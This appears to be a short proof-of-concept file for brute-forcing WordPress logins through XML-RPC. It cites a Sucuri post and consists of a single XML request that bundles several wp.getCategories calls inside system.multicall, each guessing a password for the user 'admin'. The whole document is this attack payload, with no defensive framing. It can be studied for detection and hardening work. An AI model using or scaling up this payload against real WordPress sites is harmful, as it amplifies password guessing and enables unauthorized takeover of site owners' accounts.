WordPress XMLRPC bruteforce multicall (https://blog.sucuri.net/2015/10/brute-force-amplification-attacks-against-wordpress-xmlrpc.html)

poc.xml

<?xml version="1.0"?>
<methodCall><methodName>system.multicall</methodName><params>
<param><value><array><data>
    <value><struct>
        <member><name>methodName</name><value><string>wp.getCategories</string></value></member>
        <member><name>params</name><value><array><data>
            <value><string>admin</string></value>
            <value><string>password</string></value>
        </data></array></value></member>
    </struct></value>
    <value><struct>
        <member><name>methodName</name><value><string>wp.getCategories</string></value></member>
        <member><name>params</name><value><array><data>
            <value><string>admin</string></value>
            <value><string>123123</string></value>
        </data></array></value></member>
    </struct></value>
</data></array></value></param>
</params></methodCall>